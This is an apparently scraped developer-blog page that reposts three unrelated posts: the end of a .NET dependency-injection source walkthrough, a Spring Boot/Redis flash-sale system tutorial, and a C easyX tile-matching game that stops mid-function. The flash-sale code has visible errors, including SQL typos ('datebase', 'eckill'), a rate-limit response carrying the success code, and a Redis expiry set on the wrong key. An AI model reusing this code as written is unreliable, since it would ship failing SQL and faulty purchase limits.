private ServiceCallSite TryCreateExact(ServiceDescriptor descriptor, Type serviceType, CallSiteChain callSiteChain, int slot)
{
if (serviceType == descriptor.ServiceType)
{
ServiceCallSite callSite;
var lifetime = new ResultCache(descriptor.Lifetime, serviceType, slot);
......
new ServiceCallSite(......);
return callSite;
}

return null;
}

上面的代码都是围绕 ServiceCallSite 对象的创建再流转,依然是在为最后的取**RMB(服务)**做准备工作,我们注意一下这段代码:

1
c#复制代码var lifetime = new ResultCache(descriptor.Lifetime, serviceType, slot);

出现了一个熟悉的对象:Lifetime,也就是我们注册服务的生命周期类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
c#复制代码public ResultCache(ServiceLifetime lifetime, Type type, int slot)
{
switch (lifetime)
{
case ServiceLifetime.Singleton:
Location = CallSiteResultCacheLocation.Root;
break;
case ServiceLifetime.Scoped:
Location = CallSiteResultCacheLocation.Scope;
break;
case ServiceLifetime.Transient:
Location = CallSiteResultCacheLocation.Dispose;
break;
default:
Location = CallSiteResultCacheLocation.None;
break;
}
Key = new ServiceCacheKey(type, slot);
}
public CallSiteResultCacheLocation Location { get; set; }
public ServiceCacheKey Key { get; set; }

到现在,准备工作的相关代码都已经走完了,下面就是最后一步:获取/构建对象

1
kotlin复制代码return RealizeService(callSite);
1
2
3
4
5
6
c#复制代码protected override Func<ServiceProviderEngineScope, object> RealizeService(ServiceCallSite callSite)
{
var realizedService = ResolverBuilder.Build(callSite);
RealizedServices[callSite.ServiceType] = realizedService;
return realizedService;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
c#复制代码// singleton
public Func<ServiceProviderEngineScope, object> Build(ServiceCallSite callSite)
{
if (callSite.Cache.Location == CallSiteResultCacheLocation.Root)
{
var value = _runtimeResolver.Resolve(callSite, _rootScope);
return scope => value;
}
return BuildType(callSite).Lambda;
}
// Scoped
private GeneratedMethod BuildType(ServiceCallSite callSite)
{
if (callSite.Cache.Location == CallSiteResultCacheLocation.Scope)
{
return _scopeResolverCache.GetOrAdd(callSite.Cache.Key, _buildTypeDelegate, callSite);
}
return BuildTypeNoCache(callSite);
}
// Transient
private GeneratedMethod BuildTypeNoCache(ServiceCallSite callSite)
{
var dynamicMethod = new DynamicMethod("ResolveService",
attributes: MethodAttributes.Public | MethodAttributes.Static,
callingConvention: CallingConventions.Standard,
returnType: typeof(object),
parameterTypes: new[] { typeof(ILEmitResolverBuilderRuntimeContext), typeof(ServiceProviderEngineScope) },
owner: GetType(),
skipVisibility: true);

var ilGenerator = dynamicMethod.GetILGenerator(512);
......
}

上面一段代码就是最终构建服务的代码了,前面的所有内容都是在为这一步做准备,具体代码构建的逻辑这篇文章就不讲了,有点技穷。看Transient:BuildTypeNoCache方法内容,可以发现微软是通过 IL 去动态生成的服务。这只是里面的一种方式,还有另外一种方式大家可以自行去研究。


最后,写着写着就发现,有点把握不住。尽管在调式的时候对里面的一些代码的作用,以及怎么运转都有一些理解。但是写出来就不是那么回事,漏洞百出,索性贴出关键源码,记录一下这两天的研究成果。有条件的朋友可以自己去调式一遍源码,比看什么博客有效果多了。

我这里使用的是:JetBrains Rider ,调试源码比较方便,不用手动下载源码。

如果习惯了 vs 的同学可以去 github 上将源码下载下来通过 vs 去调试。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

springboot实现电商并发秒杀系统,拿走不谢!

发表于 2021-11-30

「这是我参与11月更文挑战的第8天,活动详情查看:2021最后一次更文挑战」

概述

随着互联网电商的兴起,各种活动层出不穷。秒杀活动作为一种经典活动具有瞬时并发大的特点,同时秒杀设计也是面试常考题之一,本文以单机为示例设计开发秒杀系统。

源码地址: gitee.com/tech-famer/…

效果展示

20211130_144636.gif

系统分析

  1. 秒杀页面静态化
  2. 倒计时时间服务器中获取
  3. 秒杀活动开始前隐藏秒杀链接
  4. 秒杀限流
  5. 秒杀商品redis缓存
  6. 防止超卖

系统设计

表结构设计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
less复制代码
create datebase seckill;

use seckill;

CREATE TABLE seckill.`goods` (
`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID',
`goods_name` varchar(32) NOT NULL COMMENT '商品名称',
`goods_price` decimal(10,2) NOT NULL COMMENT '商品价格',
`goods_count` int(11) NOT NULL COMMENT '剩余数量',
`total_count` int(11) NOT NULL COMMENT '总数量',
`start_time` datetime NOT NULL COMMENT '开始时间',
`end_time` datetime NOT NULL COMMENT '结束时间',
`create_user` varchar(32) NOT NULL COMMENT '创建用户',
`create_time` datetime NOT NULL COMMENT '创建时间',
`update_user` varchar(32) NOT NULL COMMENT '更新用户',
`update_time` datetime NOT NULL COMMENT '更新时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='秒杀商品表';


CREATE TABLE eckill.`secorder` (
`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID',
`order_no` varchar(32) NOT NULL COMMENT '订单号',
`goods_id` bigint(20) NOT NULL COMMENT '商品ID',
`goods_name` varchar(32) NOT NULL COMMENT '商品名称',
`goods_num` int(11) NOT NULL COMMENT '商品数量',
`amount` decimal(10,2) NOT NULL COMMENT '订单总价',
`pay_seq` varchar(32) NOT NULL COMMENT '支付流水号',
`order_status` varchar(2) NOT NULL COMMENT '订单状态',
`goods_snapshots` text NOT NULL COMMENT '商品快照',
`user_id` varchar(32) NOT NULL COMMENT '购买用户',
`create_time` datetime NOT NULL COMMENT '创建时间',
`update_user` varchar(32) NOT NULL COMMENT '更新用户',
`update_time` datetime NOT NULL COMMENT '更新时间',
`pay_time` datetime DEFAULT NULL COMMENT '支付时间',
`expire_time` datetime NOT NULL COMMENT '过期时间',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='秒杀订单表'

页面静态化

大型电商平台的页面一般在做活动的时候会租用CDN服务,将静态资源放到CDN服务来避免每次用户刷新页面请求服务器带来压力。静态页面会利用浏览器缓存静态资源,在用户持续刷新页面时,浏览器直接读取缓存而非直接请求链接获取。

单机具体做法如下:

1. 项目配置文件中添加静态资源相关配置
1
2
3
4
5
javascript复制代码spring:
resources:
static-locations: classpath:/static/
mvc:
static-path-pattern: /static/**
2. 将静态资源放入静态资源目录下

微信截图_20211130154257.png

倒计时设计

活动页面倒计时一般是活动开始时间-当前时间计算得出,前端页面通过setTimeout函数动态定时更新倒计时。此方法中当前时间取得是客户端时间,聪明的用户通过修改系统时间绕过倒计时直接参加活动,为避免发生这种情况当前时间也从服务器获取即可。具体做法如下:
在服务端直接计算好活动开始时间-当前时间值,前端只需要将服务器计算好的差值通过setTimeout函数倒数至0即可开始活动。

1
2
3
4
5
6
7
8
9
10
11
less复制代码@PostMapping("/goodsDetail")
public CommonJsonResponse<Object> goodsDetail(@Validated @RequestBody CommonJsonRequest<ReqGoodsDetailVO> request){
final String redisKey = TotalConstants.SECKILL_GOODS_DETAIL_PREFIX + request.getData().getId();
if(!redisTemplate.hasKey(redisKey)){
return new CommonJsonResponse("9999","秒杀活动已经结束");
}
final Map<Object, Object> map = redisTemplate.opsForHash().entries(redisKey);
final Long startTime = (Long) map.get("startTime");
map.put("startTimeLong",startTime - System.currentTimeMillis());
return CommonJsonResponse.ok(map);
}

活动开始前隐藏秒杀链接

为避免黄牛党通过机器刷秒杀接口,在活动开始前不暴露秒杀接口,所有参与秒杀的用户只能在活动开始后通过页面秒杀按钮抢购。为此做两点设计。

1. 增加获取秒杀链接的接口

所有用户只能通过此接口获取秒杀链接,此接口只在活动开始才返回秒杀链接,秒杀链接包含加密信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
less复制代码@PostMapping("/goodsOrderUrl")
public CommonJsonResponse goodsOrderUrl(@Validated @RequestBody CommonJsonRequest<ReqGoodsDetailVO> request){
final Long id = request.getData().getId();
final String redisKey = TotalConstants.SECKILL_GOODS_DETAIL_PREFIX + id;
if(!redisTemplate.hasKey(redisKey)){
return new CommonJsonResponse("9999","秒杀活动已经结束");
}
final Long startTime = (Long) redisTemplate.opsForHash().get(redisKey, "startTime");
if(startTime > System.currentTimeMillis()){
return new CommonJsonResponse("9999","秒杀活动未开始");
}
final String md5 = DigestUtils.md5DigestAsHex((id + TotalConstants.SECKILL_MD5_SALT).getBytes());
return CommonJsonResponse.ok("/seckill/" + md5 + "/order");
}
2. 对前端js进行加密混淆

秒杀限流设计

1. 前端秒杀按钮在秒杀开始前置灰,且不可连续点击

其中变量canBuy用来标识按钮是否可点击,默认为false,活动倒计时结束置为true,用户点击后置为false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
javascript复制代码//用户点击秒杀按钮,获取秒杀链接
var canBuy = false;
function doBuy(){
if(!canBuy){
return
}
canBuy = false;
$('button').css({background:'grey'})
$.ajax({
url:'/seckill/goodsOrderUrl',
data:JSON.stringify({reqTime:111,sign:'111',data:{id:queryParam.id}}),
type:'post',
contentType: 'application/json',
dataType:'json',
}).success(function(data){
if(data.respCode === "0000"){
var url = data.data
doOrder(queryParam.id,url)
}else{
showMsg(data.respMsg)
}
}).error(function(){

});
}

//倒计时函数
var addTime = 0;
function updateTime(time){
setTimeout(function(){
addTime += 1000;
if(time - addTime <= 0){
$('button').css({background:'red'})
$('span').remove()
canBuy = true
}else{
$('#time').text(calcuTimeStr(time - addTime))
updateTime(time)
}
},1000)
}
2. 服务器端限流

通常服务器端的限流月前置越好,若在系统层限流测服务器系统可用连接在可承受范围就限流了;若限流在应用层,只会对应用服务高并发坐限流,系统还是会有大量的连接,当大量连接占满系统后,则系统不可用,此时服务也不可用。所以在nginx层等更高层都要做好限流配置。

本机演示只在应用服务成做限流,基于guava的RateLimiter利用spring的aop原理做封装。

1. 定义自定义注解 @FarmerLimiter

其中value默认值20,表示并限流数。

1
2
3
4
5
6
less复制代码@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(value= METHOD)
public @interface FarmerLimiter {
int value() default 20;
}
2. 编写aop处理逻辑

达到限流提示“活动太火爆,稍后再试”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
arduino复制代码@Component
@Aspect
public class LimiterAop {


private static final ConcurrentHashMap<String, RateLimiter> map = new ConcurrentHashMap<>();


@Pointcut("@annotation(FarmerLimiter)")
public void cut(){}

@Around("cut()")
public Object deal(ProceedingJoinPoint point) throws Throwable {
final MethodSignature signature = (MethodSignature) point.getSignature();
final FarmerLimiter annotation = signature.getMethod().getAnnotation(FarmerLimiter.class);
final int value = annotation.value();
final String name = signature.getMethod().toString();
RateLimiter rateLimiter;
if(map.containsKey(name)){
rateLimiter = map.get(name);
}else{
rateLimiter = RateLimiter.create(value);
map.put(name, rateLimiter);
}

if(rateLimiter.tryAcquire()){
return point.proceed();
}else{
return new CommonJsonResponse("0000","活动太火爆,稍后再试");
}
}
}
3. 秒杀接口添加限流功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
less复制代码@PostMapping("/{md5}/order")
@FarmerLimiter(50)
public CommonJsonResponse getBuyUrl(@PathVariable("md5") String md5,@Validated @RequestBody CommonJsonRequest<ReqGoodsDetailVO> request, HttpSession session){
final Long id = request.getData().getId();
final String newMd5 = DigestUtils.md5DigestAsHex((id + TotalConstants.SECKILL_MD5_SALT).getBytes());
if (!newMd5.equals(md5)) {
return new CommonJsonResponse("9999","请求不合法");
}
final String redisKey = TotalConstants.SECKILL_GOODS_DETAIL_PREFIX + id;
final Long endTime = (Long) redisTemplate.opsForHash().get(redisKey, "endTime");
if(!redisTemplate.hasKey(redisKey) || endTime < System.currentTimeMillis()){
return new CommonJsonResponse("9999","秒杀活动已经结束");
}
final String limitKey = TotalConstants.SECKILL_GOODS_LIMIT_PREFIX + id + ":" + session.getId();
if(redisTemplate.hasKey(limitKey)){
return new CommonJsonResponse("9999","您已经达到最大购买次数");
}
if(redisTemplate.opsForHash().increment(redisKey, "goodsCount", -1L) < 0){
return new CommonJsonResponse("9999","秒杀商品已经抢完");
}
final SecOrder order = orderService.generateSecOrder(id, session);
redisTemplate.opsForValue().set(limitKey,1);
redisTemplate.expire(redisKey,(endTime - System.currentTimeMillis())/1000L + (long) new Random().nextInt(3600), TimeUnit.SECONDS);
return CommonJsonResponse.ok(order);
}

秒杀商品redis缓存

为秒杀系统设计三种缓存:

1. 秒杀活动列表缓存,使用redis的list数据结构存储

通过定时任务,定时将有效的活动添加到redis缓存中,失效的删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ini复制代码@Scheduled(cron = "0/5 * * * * *")
public void loadIntoRedis(){
//添加未过期的商品
final List<Goods> goodsList = goodsService.listSeckillGoods();
if(!goodsList.isEmpty()){
StringBuilder sb = new StringBuilder("redis.call('lpush',KEYS[1]");
Object[] argv = new Object[goodsList.size() + 1];
argv[0] = goodsList.size() - 1;
for (int i = 0; i < goodsList.size(); i++) {
RedisGoods redisGoods = new RedisGoods();
BeanUtils.copyProperties(goodsList.get(i), redisGoods);
argv[i + 1] = redisGoods;
sb.append(",").append("ARGV[").append(i + 2).append("]");
}
sb.append(")\r\n");
sb.append("if redis.call('ltrim',KEYS[1],0,ARGV[1]) == 'OK' then return 1 else return 0 end");
DefaultRedisScript<Long> redisScript = new DefaultRedisScript<>(sb.toString(), Long.class);
redisTemplate.execute(redisScript, Arrays.asList(TotalConstants.SECKILL_GOODS_LIST_PREFIX), argv);
}
}
2. 秒杀活动详情缓存,使用redis的hash数据结构存储

在后台添加秒杀活动时,将秒杀商品信息添加redis缓存,其中hash key为字段名称,方便查询秒杀商品详情及对商品库存hincrby原子减扣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
less复制代码@PostMapping("add")
@ResponseBody
public CommonJsonResponse add(Goods goods, HttpSession session){
if(goods.getGoodsName() == null){
return new CommonJsonResponse("9999","商品名称不能为空");
}
if(goods.getGoodsPrice() == null || goods.getGoodsPrice().compareTo(BigDecimal.ZERO) <= 0 ){
return new CommonJsonResponse("9999","商品价格不合法");
}
if(goods.getGoodsCount() == null || goods.getGoodsCount() <= 0){
return new CommonJsonResponse("9999","商品数量不合法");
}
if(goods.getStartTime() == null || goods.getStartTime().before(new Date())){
return new CommonJsonResponse("9999","开始时间不合法");
}
if(goods.getEndTime() == null || goods.getEndTime().before(new Date())){
return new CommonJsonResponse("9999","结束时间不合法");
}

if(goods.getStartTime().after(goods.getEndTime())){
return new CommonJsonResponse("9999","开始时时间不能再结束时间之后");
}
final Integer i = goodsService.addGoods(goods, session);
if(i > 0){
JSONObject goodsJson = (JSONObject)JSONObject.toJSON(goods);
redisTemplate.opsForHash().putAll(TotalConstants.SECKILL_GOODS_DETAIL_PREFIX + goods.getId(), goodsJson.getInnerMap());
return CommonJsonResponse.ok();
}
return new CommonJsonResponse("9999","添加商品失败");
}
3. 秒杀活动用户已购商品数量缓存,使用redis的string数据结构

设置过期时间到活动结束+一个小时以内随机,避免大量redis的key过期引起redis卡顿。

1
2
scss复制代码redisTemplate.opsForValue().set(limitKey,1);
redisTemplate.expire(redisKey,(endTime - System.currentTimeMillis())/1000L + (long) new Random().nextInt(3600), TimeUnit.SECONDS);

防止超卖

利用mysql数据库事务隔离性,及乐观锁减扣库存来防治超卖。

1
2
3
4
5
bash复制代码<update id="decrement">
update goods set update_time = now(),goods_count = goods_count - 1
where id = #{id,jdbcType = BIGINT}
and goods_count >= 1
</update>

Jmeter并发测试

微信截图_20211130165615.png

微信截图_20211130165629.png

微信截图_20211130165711.png

微信截图_20211130165737.png

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

C语言项目实战:《连连看》基础项目!460 行源码注释,干货

发表于 2021-11-30

这篇文章主要为大家详细介绍了C语言实现——《连连看》小游戏,示例代码介绍​的​非常详细,具有​想当​的参考价值,感兴趣的小伙伴们可以参考一下!

​​

​​

游戏介绍:

连连看小游戏速度节奏快,画面清晰可爱,适合细心的玩家。丰富的道具和公共模式的加入,增强游戏的竞争性。多样式的地图,使玩家在各个游戏水平都可以寻找到挑战的目标,长期地保持游戏的新鲜感。本期举例的项目类似宠物连连看,小动物造型的连连看游戏(这个主要看你准备好的图片素材)

游戏玩法

加载游戏后,点击画面中间的图像即进入游戏状态。使用鼠标左键即可,点击相同的两张图卡,用三根内的直线连在一起就可以消除。只要我们在有限的时间里,用我们智慧消除相连卡片,就可以获得最终的胜利。那么我们了解了规则之后,就动手来试试吧!

编译器:VS2013/2019最佳;

插件:图形库插件easyX,涉及图片素材可以自行百度找也可以关注文末领取;

效果图展示:

源代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
ini复制代码#include <graphics.h>
#include <conio.h>
#include <time.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"winmm.lib")

//150 150 12 7 21 易
//60 100 16 9 32 中
//100 120 14 8 28 难
#define leftedge 150 //游戏区距左边框距离
#define topedge 150 //游戏区距上边框距离
#define COL 12 //游戏区列数
#define ROW 7 //游戏区行数
#define GridNum 21 //游戏图片数目

#define GridW 42 //游戏图片的长
#define GridH 48 //游戏图片的宽
#define N 555 //开屏大小(宽)
#define M 785 //开屏大小(长)

IMAGE image[GridNum + 1][2]; //图片库
IMAGE image2; //填充图片
int GridID[ROW + 2][COL + 2]; //游戏图纸
MOUSEMSG mouse; //记录鼠标信息

struct GridInfor //记入击中图片信息
{
int idx,idy; //图纸坐标
int leftx,lefty; //屏幕坐标
int GridID; //图片类型
}pre,cur,dur;

struct //记录连线点
{
int x;
int y;
}point[4];
static int pn; //记录连线点个数

void InitFace (); //初始化界面
void Shuffle (); //随即打乱图片
void ShowGrid (); //显示图片
void RandGrid (); //绘制地图
void Link (); //连接两图
void Des_direct (); //直接相消
void Des_one_corner(); //一折相消
void Des_two_corner(); //两折相消
void Load_picture (); //加载图片
void Init_Grid (GridInfor& pre); //初始化格子信息
void Leftbottondown (MOUSEMSG mouse); //实现鼠标左击效果
void Draw_frame (int leftx,int lefty); //绘制边框
void Mousemove (int leftx,int lefty); //实现鼠标移动效果
bool Judg_val (int leftx,int lefty); //判断鼠标是否在游戏区
void SeleReact (int leftx,int lefty); //显示选中效果
void TranstoPhycoor (int* idx,int* idy); //图纸坐标转变为屏幕坐标
void GridPhy_coor (int& leftx,int& lefty); //规范物理坐标
void iPaint (long x1,long y1,long x2,long y2); //将直线销毁
void DrawLine (int x1,int y1,int x2,int y2) ; //用直线连接两图
bool DesGrid (GridInfor pre,GridInfor cur); //判断两者是否能相消
bool Match_direct (POINT ppre,POINT pcur); //判断两者是否能够直接相消
bool Match_one_corner (POINT ppre,POINT pcur); //判断两者是否能一折相消
bool Match_two_corner (POINT ppre,POINT pcur); //判断两者是否能两折相消
void ExchaVal (GridInfor& pre,GridInfor& cur); //交换图片信息
bool Single_click_judge (int mousex,int mousey); //判断单击是否有效
void RecordInfor (int leftx,int lefty,GridInfor &grid); //记录选中的信息
void TranstoDracoor (int mousex,int mousey,int *idx,int *idy); //鼠标坐标转化为图纸坐标
void Explot (POINT point,int *left,int *right,int *top,int *bottel);//探索point点附近的空位置

void main()
{
initgraph(M,N);
mciSendString("play game_begin.mp3 repeat", NULL, 0, NULL);
InitFace();
while(1)
{
mouse = GetMouseMsg();
switch(mouse.uMsg)
{
case WM_MOUSEMOVE:
Mousemove(mouse.x,mouse.y); break;
case WM_LBUTTONDOWN:
if(Single_click_judge(mouse.x,mouse.y))
{
Leftbottondown(mouse);
} break;
default: break;
}
}
closegraph();
}

////////////////////////////////////////生成操作//////////////////////////////
void RandGrid() //产生图片的标记
{
for(int iCount = 0, x = 1; x <= ROW; ++x )
{
for( int y = 1; y <= COL; ++y )
{
GridID[x][y] = iCount++ % GridNum + 1;
} } }

void Shuffle( ) //打乱棋盘
{
int ix, iy, jx, jy, grid;
for( int k = 0; k < 84; ++k )
{
ix = rand() % ROW + 1; // 产生 1 - COL 的随机数
iy = rand() % COL + 1; // 产生 1 - ROW 的随机数
jx = rand() % ROW + 1; // 产生 1 - COL 的随机数
jy = rand() % COL + 1; // 产生 1 - ROW 的随机数
if( GridID[ix][iy] != GridID[jx][jy] ) //如果不相等就交换数据
{
grid = GridID[ix][iy];
GridID[ix][iy] = GridID[jx][jy];
GridID[jx][jy] = grid;
} } }

////////////////////////////////初始化界面///////////////////////////////////////
void InitFace()
{
srand((unsigned)time(NULL));
Load_picture();
RandGrid();
IMAGE image3;
loadimage(&image3,"res\\bg.bmp");
putimage(0,0,&image3);
getimage(&image2,3 * 42,2 * 48,42, 48);
Shuffle();
ShowGrid();
}

void Load_picture() //加载图片
{
IMAGE image1,background;
loadimage(&image1,"IMAGE","grids");
SetWorkingImage(&image1);
for(int i = 1 ;i < GridNum + 1 ;i ++)
for(int j = 0;j < 2;j++)
getimage(&image[i][j],j * 42,i * 48,42, 48);
loadimage(&background,"IMAGE","bg");
SetWorkingImage(&background);
getimage(&image2,3 * 42,2 * 48,42, 48);
SetWorkingImage();
putimage(0,0,&background);
}

void ShowGrid()
{
int idx,idy;
for(int i = 0 ;i < ROW; i ++)
for(int j = 0 ;j < COL ; j++)
{
idy = i * 48 + topedge ,idx = j * 42 + leftedge;
putimage(idx,idy,&image[GridID[i + 1][j + 1]][0]);
} }

/////////////////////////////////鼠标操作////////////////////////////////////////
void Mousemove (int leftx,int lefty) //鼠标移动时的变化
{
static int prex,prey,preidx,preidy, curidx,curidy;
if(Judg_val(leftx,lefty))
{
TranstoDracoor(leftx,lefty,&curidx,&curidy); //转化为图纸坐标
if(GridID[curidy][curidx] != 0)
{
GridPhy_coor(leftx,lefty);
if(pre.idx == preidx && pre.idy == preidy)
putimage(prex,prey,&image[GridID[preidy][preidx]][1]);
else
putimage(prex,prey,&image[GridID[preidy][preidx]][0]);
prex = leftx, prey = lefty;
preidx = curidx, preidy = curidy;
Draw_frame(leftx,lefty); //绘制边框
} } }

void Leftbottondown (MOUSEMSG mouse) //左击时的变化
{
static int click = 0, idx,idy;
click++;
SeleReact (mouse.x,mouse.y); //显示选中效果
if(click == 1) RecordInfor(mouse.x,mouse.y,pre);
if(click == 2)
{
TranstoDracoor (mouse.x,mouse.y,&idx,&idy);
if(idx != pre.idx || idy != pre.idy)
{
RecordInfor (mouse.x,mouse.y,cur);
if(pre.GridID == cur.GridID && DesGrid(pre,cur))
{
GridID[pre.idy][pre.idx] = GridID[cur.idy][cur.idx] =0;
Link (); pn = 0;
putimage(pre.leftx,pre.lefty,&image2);
putimage(cur.leftx,cur.lefty,&image2);
Init_Grid(pre); Init_Grid(cur); click = 0;
}
else
{
ExchaVal(dur,pre); ExchaVal(pre,cur);
Init_Grid(cur); click = 1;
putimage(dur.leftx,dur.lefty,&image[GridID[dur.idy][dur.idx]][0]);
} }
else click = 1;
} }

void SeleReact (int leftx,int lefty) //选中时效果
{
if(Judg_val(leftx,lefty))
{
int idx,idy;
TranstoDracoor (leftx,lefty,&idx,&idy);
GridPhy_coor (leftx,lefty);
putimage(leftx,lefty,&image[GridID[idy][idx]][1]);
} }

bool Judg_val(int leftx,int lefty) //判断鼠标是否在游戏区
{
return leftx > leftedge && leftx < leftedge + GridW * COL &&
lefty > topedge && lefty < topedge + GridH * ROW;
}

void TranstoDracoor (int mousex,int mousey ,int *idx,int *idy) //鼠标坐标转化为图纸坐标
{
if(Judg_val(mousex,mousey))
{
*idx = (mousex - leftedge) / 42 + 1;
*idy = (mousey - topedge) / 48 + 1 ;
} }

void RecordInfor(int leftx,int lefty,GridInfor &grid) //记录选中的信息
{
TranstoDracoor(leftx,lefty,&grid.idx,&grid.idy);
grid.leftx = (grid.idx - 1) * 42 + leftedge;
grid.lefty = (grid.idy - 1) * 48 + topedge;
grid.GridID = GridID[grid.idy][grid.idx];
}

bool Single_click_judge (int mousex,int mousey) //判断单击是否有效
{
int idx,idy;
TranstoDracoor (mousex,mousey,&idx,&idy); //转化为图纸坐标
if(Judg_val(mouse.x,mouse.y) && GridID[idy][idx] != 0)
return true;
return false;
}

void Draw_frame(int leftx,int lefty) //绘制方框
{
setcolor(RGB(126,91,68));
setlinestyle(PS_SOLID,NULL,1);
rectangle(leftx,lefty,leftx+41,lefty+47);
rectangle(leftx + 2,lefty + 2,leftx+39,lefty+45);
setcolor(RGB(250,230,169));
rectangle(leftx + 1,lefty + 1,leftx+40,lefty+46);
}

////////////////////////////////判断消除操作/////////////////////////////////////
bool DesGrid (GridInfor pre,GridInfor cur) //判断两者是否能相消
{
bool match = false; POINT ppre,pcur;
ppre.x = pre.idx; ppre.y = pre.idy;
pcur.x = cur.idx; pcur.y = cur.idy;
if(Match_direct(ppre,pcur)) match = true;
else if(Match_one_corner(ppre,pcur)) match = true;
else if(Match_two_corner(ppre,pcur)) match =true;
return match;
}

bool Match_direct(POINT ppre,POINT pcur) //判断两者是否能够直接相消
{
int k,t;
if(ppre.x == pcur.x)
{
k = ppre.y > pcur.y ? ppre.y : pcur.y;
t = ppre.y < pcur.y ? ppre.y : pcur.y;
if(t + 1 == k) goto FIND;
for(int i = t + 1;i < k ;i++)
if(GridID[i][ppre.x] != 0) return false;
if(i == k) goto FIND;
}
else
if(ppre.y == pcur.y)
{
k = ppre.x > pcur.x ? ppre.x : pcur.x;
t = ppre.x < pcur.x ? ppre.x : pcur.x;
if(t + 1 == k) goto FIND;
for(int i = t + 1;i < k ;i++)
if(GridID[ppre.y][i] != 0) return false;
if(i == k) goto FIND;
}
return false;
FIND: point[pn].x = pcur.x, point[pn].y = pcur.y; pn++;
point[pn].x = ppre.x, point[pn].y = ppre.y; pn++;
return true;
}

bool Match_one_corner(POINT ppre,POINT pcur) //判断两者是否能一折相消
{
int left,right,top,bottel,x = ppre.x,y = ppre.y;
Explot(ppre,&left,&right,&top,&bottel);
ppre.y = top - 1;
RESEARCHX: if(ppre.y < bottel) ppre.y++;
else goto BACK;
if(Match_direct(ppre,pcur)) goto FIND;
else goto RESEARCHX;
BACK: ppre.y = y; ppre.x = left - 1;
RESEARCHY: if(ppre.x < right) ppre.x++;
else goto REBACK;
if(Match_direct(ppre,pcur)) goto FIND;
else goto RESEARCHY;
REBACK: pn = 0; return false;
FIND: point[pn].x = x,point[pn].y = y,pn++;
return true;
}

bool Match_two_corner(POINT ppre,POINT pcur) //判断两者是否能两折相消
{
int left,right,top,bottel,x = ppre.x,y = ppre.y;
Explot(ppre,&left,&right,&top,&bottel);
ppre.y = top - 1;
RESEARCHX: if(ppre.y < bottel) ppre.y++;
else goto BACK;
if(Match_one_corner(ppre,pcur)) goto FIND;
else goto RESEARCHX;
BACK: ppre.y = y; ppre.x = left - 1;
RESEARCHY: if(ppre.x < right) ppre.x++;
else goto REBACK;
if(Match_one_corner(ppre,pcur)) goto FIND;
else goto RESEARCHY;
REBACK: pn = 0;return false;
FIND: point[pn].x = x,point[pn].y = y,pn++;
return true;
}

void Explot(POINT point,int *left,int *right,int *top,int *bottel)
{
int x = point.x,y = point.y; x++;
while(x <= COL + 1 && GridID[y][x] == 0) x++; *right = x - 1; x = point.x; x--;
while(x >= 0 && GridID[y][x] == 0) x--; *left = x + 1; x = point.x; y++;
while(y <= ROW + 1 && GridID[y][x] == 0) y++; *bottel= y - 1; y = point.y; y--;
while(y >= 0 && GridID[y][x] == 0) y--; *top = y + 1;
}

/////////////////////////////////消除操作////////////////////////////////////////
void Link ()
{
switch(pn)
{
case 2:
Des_direct(); break;
case 3:
Des_one_corner(); break;
case 4:
Des_two_corner(); break;
default : break;
} }

void Des_direct ()
{
TranstoPhycoor(&point[0].x,&point[0].y);
TranstoPhycoor(&point[1].x,&point[1].y);
DrawLine(point[0].x,point[0].y,point[1].x,point[1].y);
Sleep(250);
